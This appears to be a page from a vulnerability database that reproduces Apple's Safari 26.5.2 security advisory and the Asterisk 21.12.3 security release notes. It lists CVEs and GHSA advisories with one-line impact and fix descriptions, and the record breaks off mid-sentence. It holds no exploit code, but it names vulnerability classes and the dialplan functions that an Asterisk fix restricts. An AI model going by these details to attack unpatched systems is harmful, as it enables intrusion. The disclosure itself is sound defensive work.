of security origins.
WebKit Bugzilla: 315368
CVE-2026-43700: Vitaly Simonovich, Christian Meurer Xavier
WebKit
Available for: macOS Sonoma and macOS Sequoia
Impact: A malicious website may exfiltrate data cross-origin
Description: The issue was addressed with improved checks.
WebKit Bugzilla: 313357
CVE-2026-43735: Merrick Hare, Drinor Selmanaj (Sentry), Khai Tran, John
Lussier, Rhyru9, Kwak Kiyong, Song Nuri
WebKit
Available for: macOS Sonoma and macOS Sequoia
Impact: Processing maliciously crafted web content may lead to an
unexpected process crash
Description: A use-after-free issue was addressed with improved memory
management.
WebKit Bugzilla: 313693
CVE-2026-43734: Jonathan Alush-Aben
WebKit Bugzilla: 313857
CVE-2026-43726: Josef Korbel (Citadelo), Tristan Madani (@TristanInSec)
from Talence Security, Gia Bui (@yabeow) from Calif.io, Narendra Singh
(@_3P1C)
WebKit Bugzilla: 314398
CVE-2026-43709
WebKit Bugzilla: 317227
CVE-2026-43699: Tommy DeVoss from Braze Security Team (@thedawgyg)
WebKit Bugzilla: 315161
CVE-2026-43742: Юлия Мерцалова
WebKit
Available for: macOS Sonoma and macOS Sequoia
Impact: Processing maliciously crafted web content may disclose
sensitive user information
Description: A path handling issue was addressed with improved
validation.
WebKit Bugzilla: 313085
CVE-2026-43732: Nan Wang (@eternalsakura13)
WebKit
Available for: macOS Sonoma and macOS Sequoia
Impact: Processing maliciously crafted web content may lead to memory
corruption
Description: A use-after-free issue was addressed with improved memory
management.
WebKit Bugzilla: 314115
CVE-2026-43731: dr3dd
WebKit Bugzilla: 313577
CVE-2026-43715: Milad Nasr and Nicholas Carlini with Claude, Anthropic
WebKit
Available for: macOS Sonoma and macOS Sequoia
Impact: Processing maliciously crafted web content may lead to an
unexpected Safari crash
Description: A use-after-free issue was addressed with improved memory
management.
WebKit Bugzilla: 313691
CVE-2026-43727: Tommy DeVoss from Braze Security Team (@thedawgyg), Gia
Bui (@yabeow) from Calif.io, Gurpreet Shergill
WebKit
Available for: macOS Sonoma and macOS Sequoia
Impact: A malicious website may be able to process restricted web
content outside the sandbox
Description: The issue was addressed with improved input validation.
WebKit Bugzilla: 312832
CVE-2026-43725: Luke Francis
WebKit
Available for: macOS Sonoma and macOS Sequoia
Impact: Processing maliciously crafted web content may lead to an
unexpected process crash
Description: The issue was addressed with improved memory handling.
WebKit Bugzilla: 312781
CVE-2026-43663: Soyeon Park, Amy Burnett, Khai Tran, sherkito, Kota
Toda, HexRabbit (@h3xr4bb1t) and NiNi (@terrynini38514) of DEVCORE
Research Team, Using GLM From Z.AI, Tristan Madani (@TristanInSec) from
Talence Security, Brian Carpenter
WebKit Bugzilla: 313528
CVE-2026-39872: Utkarsh Pal, Ignacio Sanmillan (@ulexec)
WebKit Bugzilla: 314235
CVE-2026-43712: Kwak Kiyong, Song Nuri, Tristan Madani (@TristanInSec)
from Talence Security
WebKit
Available for: macOS Sonoma and macOS Sequoia
Impact: Processing maliciously crafted web content may lead to an
unexpected Safari crash
Description: The issue was addressed with improved memory handling.
WebKit Bugzilla: 313473
CVE-2026-43716: Tuan and Duc from Calif.io, OpenAI Codex Security - Amy
Burnett, Evan Lambert
WebKit
Available for: macOS Sonoma and macOS Sequoia
Impact: Processing maliciously crafted web content may lead to an
unexpected Safari crash
Description: An out-of-bounds access issue was addressed with improved
bounds checking.
WebKit Bugzilla: 317231
CVE-2026-43676: Mateusz Krzywicki (iVerify.io), dr3dd, Tommy DeVoss from
Braze Security Team (@thedawgyg)
WebKit
Available for: macOS Sonoma and macOS Sequoia
Impact: Processing maliciously crafted web content may result in the
disclosure of process memory
Description: The issue was addressed with improved memory handling.
WebKit Bugzilla: 308046
CVE-2026-43740: Nathaniel Oh (@calysteon), Arni Hardarson
WebKit
Available for: macOS Sonoma and macOS Sequoia
Impact: Visiting a website may leak sensitive data
Description: A permissions issue was addressed with additional
restrictions.
WebKit Bugzilla: 314806
CVE-2026-43713: Jody Ritonga
WebKit
Available for: macOS Sonoma and macOS Sequoia
Impact: A malicious website may exfiltrate data cross-origin
Description: The issue was addressed with improved input validation.
WebKit Bugzilla: 315306
CVE-2026-43708: Behzad Najjarpour Jabbari (@_G4ru_)
WebKit
Available for: macOS Sonoma and macOS Sequoia
Impact: Processing maliciously crafted web content may lead to an
unexpected process crash
Description: A memory corruption issue was addressed with improved
memory handling.
WebKit Bugzilla: 315951
CVE-2026-43707: OpenAI Codex Security - Amy Burnett
WebKit
Available for: macOS Sonoma and macOS Sequoia
Impact: Processing maliciously crafted web content may lead to memory
corruption
Description: A type confusion issue was addressed with improved checks.
WebKit Bugzilla: 314528
CVE-2026-43705: dr3dd
WebKit
Available for: macOS Sonoma and macOS Sequoia
Impact: A malicious website may be able to process restricted web
content outside the sandbox
Description: The issue was addressed with improved checks.
WebKit Bugzilla: 315004
CVE-2026-43701: Aaron Grattafiori - NVIDIA AI Red Team
WebKit
Available for: macOS Sonoma and macOS Sequoia
Impact: Processing maliciously crafted web content may lead to an
unexpected Safari crash
Description: An out-of-bounds write issue was addressed with improved
input validation.
WebKit Bugzilla: 315365
CVE-2026-43745: OpenAI Codex Security - Amy Burnett, Khai Tran
WebKit Canvas
Available for: macOS Sonoma and macOS Sequoia
Impact: Processing maliciously crafted web content may lead to an
unexpected Safari crash
Description: A use-after-free issue was addressed with improved memory
management.
WebKit Bugzilla: 313175
CVE-2026-43720: Gia Bui (@yabeow) from Calif.io, Josef Korbel
WebKit Storage
Available for: macOS Sonoma and macOS Sequoia
Impact: A malicious website may be able to silently hijack clipboard
data
Description: This issue was addressed through improved state management.
WebKit Bugzilla: 313478
CVE-2026-43721: Idan Masas
WebRTC
Available for: macOS Sonoma and macOS Sequoia
Impact: Processing maliciously crafted web content may lead to an
unexpected process crash
Description: An out-of-bounds access issue was addressed with improved
bounds checking.
WebKit Bugzilla: 317324
CVE-2026-28979
WebRTC
Available for: macOS Sonoma and macOS Sequoia
Impact: Processing maliciously crafted web content may lead to an
unexpected Safari crash
Description: A stack overflow was addressed with improved input
validation.
WebKit Bugzilla: 313350
CVE-2026-43718: Nan Wang (@eternalsakura13)
WebRTC
Available for: macOS Sonoma and macOS Sequoia
Impact: Processing maliciously crafted web content may lead to an
unexpected Safari crash
Description: A use-after-free issue was addressed with improved memory
management.
WebKit Bugzilla: 313351
CVE-2026-43717: Nan Wang (@eternalsakura13)
WebKit Bugzilla: 314090
CVE-2026-43746: dr3dd
Additional recognition
WebKit
We would like to acknowledge Henock Habte, Souta Sugiyama for their
assistance.
WebKit JavaScript Bindings
We would like to acknowledge Karan Kurani for their assistance.
Safari 26.5.2 may be obtained from the Mac App Store.
All information is also posted on the Apple Security Releases
web site: https://support.apple.com/100100.
This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
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_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Relationships
reference
GCVE-1988-2026-0347 (this record)
- related CVE-2026-28979
- related CVE-2026-39872
- related CVE-2026-43663
- related CVE-2026-43676
- related CVE-2026-43699
- related CVE-2026-43700
- related CVE-2026-43701
- related CVE-2026-43704
- related CVE-2026-43705
- related CVE-2026-43707
- related CVE-2026-43708
- related CVE-2026-43709
- related CVE-2026-43712
- related CVE-2026-43713
- related CVE-2026-43715
- related CVE-2026-43716
- related CVE-2026-43717
- related CVE-2026-43718
- related CVE-2026-43720
- related CVE-2026-43721
- related CVE-2026-43725
- related CVE-2026-43726
- related CVE-2026-43727
- related CVE-2026-43731
- related CVE-2026-43732
- related CVE-2026-43734
- related CVE-2026-43735
- related CVE-2026-43740
- related CVE-2026-43742
- related CVE-2026-43745
- related CVE-2026-43746
{
"containers": {
"cna": {
"affected": [
{
"product": "Safari",
"vendor": "Apple",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Apple Product Security via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\nAPPLE-SA-06-29-2026-3 Safari 26.5.2\n\nSafari 26.5.2 addresses the following issues.\nInformation about the security content is also available at\nhttps://support.apple.com/en-us/127685.\n\nApple maintains a Security Releases page at\nhttps://support.apple.com/100100 which lists recent\nsoftware updates with security advisories.\n\nWeb Extensions\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: A malicious web extension may be able to cause an unexpected\nprocess crash\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nWebKit Bugzilla: 314642\nCVE-2026-43704: dr3dd\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may disclose\nsensitive user information\nDescription: A cross-origin issue was addressed with improved tracking\nof security origins.\nWebKit Bugzilla: 315368\nCVE-2026-43700: Vitaly Simonovich, Christian Meurer Xavier\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: A malicious website may exfiltrate data cross-origin\nDescription: The issue was addressed with improved checks.\nWebKit Bugzilla: 313357\nCVE-2026-43735: Merrick Hare, Drinor Selmanaj (Sentry), Khai Tran, John\nLussier, Rhyru9, Kwak Kiyong, Song Nuri\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nWebKit Bugzilla: 313693\nCVE-2026-43734: Jonathan Alush-Aben\nWebKit Bugzilla: 313857\nCVE-2026-43726: Josef Korbel (Citadelo), Tristan Madani (@TristanInSec)\nfrom Talence Security, Gia Bui (@yabeow) from Calif.io, Narendra Singh\n(@_3P1C)\nWebKit Bugzilla: 314398\nCVE-2026-43709\nWebKit Bugzilla: 317227\nCVE-2026-43699: Tommy DeVoss from Braze Security Team (@thedawgyg)\nWebKit Bugzilla: 315161\nCVE-2026-43742: \u042e\u043b\u0438\u044f \u041c\u0435\u0440\u0446\u0430\u043b\u043e\u0432\u0430\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may disclose\nsensitive user information\nDescription: A path handling issue was addressed with improved\nvalidation.\nWebKit Bugzilla: 313085\nCVE-2026-43732: Nan Wang (@eternalsakura13)\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to memory\ncorruption\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nWebKit Bugzilla: 314115\nCVE-2026-43731: dr3dd\nWebKit Bugzilla: 313577\nCVE-2026-43715: Milad Nasr and Nicholas Carlini with Claude, Anthropic\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected Safari crash\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nWebKit Bugzilla: 313691\nCVE-2026-43727: Tommy DeVoss from Braze Security Team (@thedawgyg), Gia\nBui (@yabeow) from Calif.io, Gurpreet Shergill\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: A malicious website may be able to process restricted web\ncontent outside the sandbox\nDescription: The issue was addressed with improved input validation.\nWebKit Bugzilla: 312832\nCVE-2026-43725: Luke Francis\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: The issue was addressed with improved memory handling.\nWebKit Bugzilla: 312781\nCVE-2026-43663: Soyeon Park, Amy Burnett, Khai Tran, sherkito, Kota\nToda, HexRabbit (@h3xr4bb1t) and NiNi (@terrynini38514) of DEVCORE\nResearch Team, Using GLM From Z.AI, Tristan Madani (@TristanInSec) from\nTalence Security, Brian Carpenter\nWebKit Bugzilla: 313528\nCVE-2026-39872: Utkarsh Pal, Ignacio Sanmillan (@ulexec)\nWebKit Bugzilla: 314235\nCVE-2026-43712: Kwak Kiyong, Song Nuri, Tristan Madani (@TristanInSec)\nfrom Talence Security\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected Safari crash\nDescription: The issue was addressed with improved memory handling.\nWebKit Bugzilla: 313473\nCVE-2026-43716: Tuan and Duc from Calif.io, OpenAI Codex Security - Amy\nBurnett, Evan Lambert\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected Safari crash\nDescription: An out-of-bounds access issue was addressed with improved\nbounds checking.\nWebKit Bugzilla: 317231\nCVE-2026-43676: Mateusz Krzywicki (iVerify.io), dr3dd, Tommy DeVoss from\nBraze Security Team (@thedawgyg)\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may result in the\ndisclosure of process memory\nDescription: The issue was addressed with improved memory handling.\nWebKit Bugzilla: 308046\nCVE-2026-43740: Nathaniel Oh (@calysteon), Arni Hardarson\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Visiting a website may leak sensitive data\nDescription: A permissions issue was addressed with additional\nrestrictions.\nWebKit Bugzilla: 314806\nCVE-2026-43713: Jody Ritonga\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: A malicious website may exfiltrate data cross-origin\nDescription: The issue was addressed with improved input validation.\nWebKit Bugzilla: 315306\nCVE-2026-43708: Behzad Najjarpour Jabbari (@_G4ru_)\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: A memory corruption issue was addressed with improved\nmemory handling.\nWebKit Bugzilla: 315951\nCVE-2026-43707: OpenAI Codex Security - Amy Burnett\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to memory\ncorruption\nDescription: A type confusion issue was addressed with improved checks.\nWebKit Bugzilla: 314528\nCVE-2026-43705: dr3dd\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: A malicious website may be able to process restricted web\ncontent outside the sandbox\nDescription: The issue was addressed with improved checks.\nWebKit Bugzilla: 315004\nCVE-2026-43701: Aaron Grattafiori - NVIDIA AI Red Team\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected Safari crash\nDescription: An out-of-bounds write issue was addressed with improved\ninput validation.\nWebKit Bugzilla: 315365\nCVE-2026-43745: OpenAI Codex Security - Amy Burnett, Khai Tran\n\nWebKit Canvas\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected Safari crash\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nWebKit Bugzilla: 313175\nCVE-2026-43720: Gia Bui (@yabeow) from Calif.io, Josef Korbel\n\nWebKit Storage\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: A malicious website may be able to silently hijack clipboard\ndata\nDescription: This issue was addressed through improved state management.\nWebKit Bugzilla: 313478\nCVE-2026-43721: Idan Masas\n\nWebRTC\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: An out-of-bounds access issue was addressed with improved\nbounds checking.\nWebKit Bugzilla: 317324\nCVE-2026-28979\n\nWebRTC\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected Safari crash\nDescription: A stack overflow was addressed with improved input\nvalidation.\nWebKit Bugzilla: 313350\nCVE-2026-43718: Nan Wang (@eternalsakura13)\n\nWebRTC\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected Safari crash\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nWebKit Bugzilla: 313351\nCVE-2026-43717: Nan Wang (@eternalsakura13)\nWebKit Bugzilla: 314090\nCVE-2026-43746: dr3dd\n\nAdditional recognition\n\nWebKit\nWe would like to acknowledge Henock Habte, Souta Sugiyama for their\nassistance.\n\nWebKit JavaScript Bindings\nWe would like to acknowledge Karan Kurani for their assistance.\n\nSafari 26.5.2 may be obtained from the Mac App Store.\n\nAll information is also posted on the Apple Security Releases\nweb site: https://support.apple.com/100100.\n\nThis message is signed with Apple\u0027s Product Security PGP key,\nand details are available at:\nhttps://www.apple.com/support/security/pgp/\n\n-----BEGIN PGP SIGNATURE-----\n\niQIzBAEBCAAdFiEEhjkl+zMLNwFiCT1o4Ifiq8DH7PUFAmpCz6IACgkQ4Ifiq8DH\n7PVuEBAAgcVWMM1MLaIJIdRkv+s4HphbLBQ6a0ajL8v4lIUFNsGMdReRdFtWhnp9\nBkPUePTO9huD9JzOMVAzHqRE0BXMhpwverWJKqd3iMddo7iVxo3KxQy4IyN9pVuq\n3h1TajRzGs9MLNcOXP9acK4Oj5yiJlqOaXrPOmw7jXNNqnAPVLMSQqX7tZG1ellh\n4eeUJAOGHx8lTL1LKyy6W027LVzozBeGTe0b2m6wJyNrDd3JpiNotcNSOh75dWkC\nqGn5wmtC0OXiwQWAmoiZRbTtjaUGZ5VwU4L0BbvZCqVXmwauntAuu30hRsMvu+jM\ndnQWELA0KfMIdOpVcbijsA2hEUBuXwCu9o1sGBcMxYPXTgpJln7kOhZpMide90a/\n4qFHHfHUpJCA0CLtqdRI3yv+6gPbtYGnqytOLgqcU1hDn5nyRlsIr6sWYS7VCpOt\npXVWrgkalZSKWnBKwONomcElX7FqUfbdT6+CrRrlH5aw0f9jzPpf3PRmlbjF9Wdu\nooB7V4Xs2AxzmoWm+aRstQL5bJoTGut+jXDxKzYkXpdbnS0qAk/by5AYCPxo0e+z\njywZtGaG5Z4bFtGvpU3zwAqajqv6gqDZiG0NfLQxurOjFCrdwl6mQ1VhVh7lyxF4\nXGG0gFPjaH3S2EAMKQ8c7YkST1pEDVPNWfBz62Ywc9Fey+zr0Ow=\n=orbO\n-----END PGP SIGNATURE-----\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0357
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 11:33
VLAI
EPSS
VEX
Title
Asterisk Security Release 21.12.3
Summary
The Asterisk Development Team would like to announce security release
Asterisk 21.12.3.
The release artifacts are available for immediate download at
https://github.com/asterisk/asterisk/releases/tag/21.12.3
and
https://downloads.asterisk.org/pub/telephony/asterisk
Repository: https://github.com/asterisk/asterisk
Tag: 21.12.3
## Change Log for Release asterisk-21.12.3
### Links:
- [Full ChangeLog](https://downloads.asterisk.org/pub/telephony/asterisk/releases/ChangeLog-21.12.3.html)
- [GitHub Diff](https://github.com/asterisk/asterisk/compare/21.12.2...21.12.3)
- [Tarball](https://downloads.asterisk.org/pub/telephony/asterisk/asterisk-21.12.3.tar.gz)
- [Downloads](https://downloads.asterisk.org/pub/telephony/asterisk)
### Summary:
- Commits: 21
- Commit Authors: 7
- Issues Resolved: 0
- Security Advisories Resolved: 20
- [GHSA-3g56-cgrh-95p5](https://github.com/asterisk/asterisk/security/advisories/GHSA-3g56-cgrh-95p5): chan_unistim
DIALPAGE digit handling can overflow phone_number and crash Asterisk
- [GHSA-3rhj-hhw7-m6fw](https://github.com/asterisk/asterisk/security/advisories/GHSA-3rhj-hhw7-m6fw): NULL Pointer
Dereference in HTTP AMI Digest Authentication
- [GHSA-4pgv-j3mr-3rcp](https://github.com/asterisk/asterisk/security/advisories/GHSA-4pgv-j3mr-3rcp): Reflected XSS
in Phone Provisioning HTTP Error Pages
- [GHSA-589g-qgf8-m6mx](https://github.com/asterisk/asterisk/security/advisories/GHSA-589g-qgf8-m6mx): Stack buffer
overflow in MWI NOTIFY Message-Account parsing
- [GHSA-746q-794h-cc7f](https://github.com/asterisk/asterisk/security/advisories/GHSA-746q-794h-cc7f): Out-of-Bounds
Read in Q.931 Information Element Parser (H.323 Addon)
- [GHSA-8jhw-m2hg-vp3h](https://github.com/asterisk/asterisk/security/advisories/GHSA-8jhw-m2hg-vp3h): Heap Buffer
Overflow in OGG/Speex File Playback (format_ogg_speex)
- [GHSA-8jw3-ccr9-xrmf](https://github.com/asterisk/asterisk/security/advisories/GHSA-8jw3-ccr9-xrmf): Buffer
over-read in Asterisk PJSIP MWI body parser
- [GHSA-g8q2-p36q-94f6](https://github.com/asterisk/asterisk/security/advisories/GHSA-g8q2-p36q-94f6):
Heap-use-after-free in Asterisk PJSIP TCP/SDP handling when TCP connection closes during SDP processing
- [GHSA-h5hv-jmgj-92q2](https://github.com/asterisk/asterisk/security/advisories/GHSA-h5hv-jmgj-92q2): CVE-2022-37325
fix is absent from current chan_ooh323 Q.931 party-number parser
- [GHSA-j2mm-57pq-jh94](https://github.com/asterisk/asterisk/security/advisories/GHSA-j2mm-57pq-jh94): Possible RED
T.140 Generation Accumulation OOB Write
- [GHSA-mxgm-8c6f-5p8f](https://github.com/asterisk/asterisk/security/advisories/GHSA-mxgm-8c6f-5p8f): Stack buffer
overflow in res_xmpp XMPP namespace prefix handling
- [GHSA-ph27-3m5q-mj5m](https://github.com/asterisk/asterisk/security/advisories/GHSA-ph27-3m5q-mj5m): SQL Injection
in cel_pgsql and cel_tds via CELGenUserEvent eventtype Field
- [GHSA-q9fr-m7g8-6ph5](https://github.com/asterisk/asterisk/security/advisories/GHSA-q9fr-m7g8-6ph5): Asterisk
app_sms.c copies externally controlled SMS lengths into fixed in-struct buffers
- [GHSA-qf8j-jp7h-c5hx](https://github.com/asterisk/asterisk/security/advisories/GHSA-qf8j-jp7h-c5hx): Out-of-Bounds
Write in Codec2 Decoder Due to Floor/Ceil Sample Count Mismatch
- [GHSA-r6c2-hwc2-j4mp](https://github.com/asterisk/asterisk/security/advisories/GHSA-r6c2-hwc2-j4mp): LDAP Filter
Injection in res_config_ldap via SIP Username (Unauthenticated Information Disclosure)
- [GHSA-vfhr-r9x9-c687](https://github.com/asterisk/asterisk/security/advisories/GHSA-vfhr-r9x9-c687): Possible RED
T.140 Heap Buffer Overflow
- [GHSA-vrfp-mg3q-3959](https://github.com/asterisk/asterisk/security/advisories/GHSA-vrfp-mg3q-3959): ARI
setChannelVar bypasses live_dangerously and permits FILE() writes
- [GHSA-wcvv-g26m-wx5c](https://github.com/asterisk/asterisk/security/advisories/GHSA-wcvv-g26m-wx5c): ARI
REST-over-WebSocket read-only bypass allows arbitrary module path load and conditional RCE
- [GHSA-x348-j6c9-77f3](https://github.com/asterisk/asterisk/security/advisories/GHSA-x348-j6c9-77f3): Stack Buffer
Overflow in H.323 ooTrace() via Unbounded vsprintf into Fixed 2048-byte Buffer
- [GHSA-xgj6-2gc5-5x9c](https://github.com/asterisk/asterisk/security/advisories/GHSA-xgj6-2gc5-5x9c): ast_loggrabber
executes python script in world writable directory(`/tmp`) leading to potential privilege escalation And RCE
### User Notes:
- #### acl: Add ACL support to http and ari
A new section, type=restriction has been added to http.conf
to allow an uri prefix based acl to be configured. See
http.conf.sample for examples and more information.
The user section of ari.conf can now contain an acl configuration
to restrict users access. See ari.conf.sample for examples and more
information
### Upgrade Notes:
### Developer Notes:
- #### ARI: Make ARI applications respect live_dangerously.
ARI applications can no longer call "dangerous" dialplan
functions like DB(), FILE(), SHELL(), CURL(), STAT(), etc. without
enabling "live_dangerously" in asterisk.conf.
Resolves: #GHSA-vrfp-mg3q-3959
### Commit Authors:
- George Joseph: (6)
- Joshua C. Colp: (1)
- Mike Bradeen: (4)
- Milan Kyselica: (7)
- Pengpeng Hou: (1)
- Roberto Paleari: (1)
- ThatTotallyRealMyth: (1)
## Issue and Commit Detail:
### Closed Issues:
- !GHSA-3g56-cgrh-95p5: chan_unistim DIALPAGE digit handling can overflow phone_number and crash Asterisk
- !GHSA-3rhj-hhw7-m6fw: NULL Pointer Dereference in HTTP AMI Digest Authentication
- !GHSA-4pgv-j3mr-3rcp: Reflected XSS in Phone Provisioning HTTP Error Pages
- !GHSA-589g-qgf8-m6mx: Stack buffer overflow in MWI NOTIFY Message-Account parsing
- !GHSA-746q-794h-cc7f: Out-of-Bounds Read in Q.931 Information Element Parser (H.323 Addon)
- !GHSA-8jhw-m2hg-vp3h: Heap Buffer Overflow in OGG/Speex File Playback (format_ogg_speex)
- !GHSA-8jw3-ccr9-xrmf: Buffer over-read in Asterisk PJSIP MWI body parser
- !GHSA-g8q2-p36q-94f6: Heap-use-after-free in Asterisk PJSIP TCP/SDP handling when TCP connection closes during SDP
processing
- !GHSA-h5hv-jmgj-92q2: CVE-2022-37325 fix is absent from current chan_ooh323 Q.931 party-number parser
- !GHSA-j2mm-57pq-jh94: Possible RED T.140 Generation Accumulation OOB Write
- !GHSA-mxgm-8c6f-5p8f: Stack buffer overflow in res_xmpp XMPP namespace prefix handling
- !GHSA-ph27-3m5q-mj5m: SQL Injection in cel_pgsql and cel_tds via CELGenUserEvent eventtype Field
- !GHSA-q9fr-m7g8-6ph5: Asterisk app_sms.c copies externally controlled SMS lengths into fixed in-struct buffers
- !GHSA-qf8j-jp7h-c5hx: Out-of-Bounds Write in Codec2 Decoder Due to Floor/Ceil Sample Count Mismatch
- !GHSA-r6c2-hwc2-j4mp: LDAP Filter Injection in res_config_ldap via SIP Username (Unauthenticated Information
Disclosure)
- !GHSA-vfhr-r9x9-c687: Possible RED T.140 Heap Buffer Overflow
- !GHSA-vrfp-mg3q-3959: ARI setChannelVar bypasses live_dangerously and permits FILE() writes
- !GHSA-wcvv-g26m-wx5c: ARI REST-over-WebSocket read-only bypass allows arbitrary module path load and conditional RCE
- !GHSA-x348-j6c9-77f3: Stack Buffer Overflow in H.323 ooTrace() via Unbounded vsprintf into Fixed 2048-byte Buffer
- !GHSA-xgj6-2gc5-5x9c: ast_loggrabber executes python script in world writable directory(`/tmp`) leading to
potential privilege escalation And RCE
### Commits By Author:
- #### George Joseph (6):
- chan_unistim.c: Prevent overrun of phone_number field.
- res_ari: Ensure read-only users are properly authorized via REST Over WebSocket.
- pjsip_message_filter: Use pj_strdup instead of pj_strassign to save local address.
- ooh323c/ooq931.c: Ensure ooQ931Decode doesn't run out-of-bounds.
- ARI: Make ARI applications respect live_dangerously.
- res_rtp_asterisk.c: Address 2 potential T.140 RED buffer overruns.
- #### Joshua C. Colp (1):
- build: Fix GCC discarded-qualifiers const errors.
- #### Mike Bradeen (4):
- ooh323c: not checking for IE minimum length
- manager: Use remote address in user error logging
- ooh323: Prevent potential buffer overflow in trace logging
- acl: Add ACL support to http and ari
- #### Milan Kyselica (7):
- res_xmpp: Fix stack buffer overflow in namespace prefix handling
- res_pjsip_pubsub: Add width limit to sscanf in MWI NOTIFY parser
- res_config_ldap: Escape LDAP filter values per RFC 4515
- cel_pgsql, cel_tds: Escape eventtype field to prevent SQL injection
- http: Escape error page text to prevent reflected XSS
- codec_codec2: Only process complete Codec2 frames in decoder
- format_ogg_speex: Add bounds check to prevent heap buffer overflow
- #### Pengpeng Hou (1):
- app_sms: Bound protocol 1 SMS unpacking to fixed-size buffers
- #### Roberto Paleari (1):
- res/res_pjsip_pubsub.c: Fix buffer over-read in MWI body parser
- #### ThatTotallyRealMyth (1):
- ast_loggrabber: Install the ast_tsconvert.py script to a secure temp directory.
### Commit List:
- ast_loggrabber: Install the ast_tsconvert.py script to a secure temp directory.
- chan_unistim.c: Prevent overrun of phone_number field.
- ooh323c: not checking for IE minimum length
- res_ari: Ensure read-only users are properly authorized via REST Over WebSocket.
- pjsip_message_filter: Use pj_strdup instead of pj_strassign to save local address.
- ooh323c/ooq931.c: Ensure ooQ931Decode doesn't run out-of-bounds.
- ARI: Make ARI applications respect live_dangerously.
- res_rtp_asterisk.c: Address 2 potential T.140 RED buffer overruns.
- res/res_pjsip_pubsub.c: Fix buffer over-read in MWI body parser
- manager: Use remote address in user error logging
- ooh323: Prevent potential buffer overflow in trace logging
- app_sms: Bound protocol 1 SMS unpacking to fixed-size buffers
- res_xmpp: Fix stack buffer overflow in namespace prefix handling
- res_pjsip_pubsub: Add width limit to sscanf in MWI NOTIFY parser
- res_config_ldap: Escape LDAP filter values per RFC 4515
- cel_pgsql, cel_tds: Escape eventtype field to prevent SQL injection
- http: Escape error page text to prevent reflected XSS
- codec_codec2: Only process complete Codec2 frames in decoder
- format_ogg_speex: Add bounds check to prevent heap buffer overflow
- acl: Add ACL support to http and ari
- build: Fix GCC discarded-qualifiers const errors.
### Commit Details:
#### ast_loggrabber: Install the ast_tsconvert.py script to a secure temp directory.
Author: ThatTotallyRealMyth
Date: 2026-03-19
The ast_tsconvert.py script called by ast_loggrabber is now installed in a
temporary directory that isn't world readable or writable.
Resolves: #GHSA-xgj6-2gc5-5x9c
#### chan_unistim.c: Prevent overrun of phone_number field.
Author: George Joseph
Date: 2026-06-15
Add a check to key_dial_page() to ensure that dialed digits won't overrun
the phone_number field.
Resolves: #GHSA-3g56-cgrh-95p5
#### ooh323c: not checking for IE minimum length
Author: Mike Bradeen
Date: 2022-06-06
When decoding q.931 encoded calling/called number
now checking for length being less than minimum required.
Resolves: #GHSA-h5hv-jmgj-92q2
#### res_ari: Ensure read-only users are properly authorized via REST Over WebSocket.
Author: George Joseph
Date: 2026-06-12
The REST over WebSocket path now properly prevents non-GET methods from
being executed on inbound WebSockets.
* The query parameters from the original incoming GET request that caused the
upgrade to WebSocket are now passed to all REST requests that come from the
client. This ensures that if the client authenticated with a read-only
userid using the "api_key" query_string parameter, REST requests coming
in over the WebSocket will only be able to execute GETs on resources.
The HTTP headers were already passed to the REST requests so if the
client had authenticated via an "Authorization" it was properly handled.
* New tests have
Severity
No CVSS data available.
Assigner
References
30 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
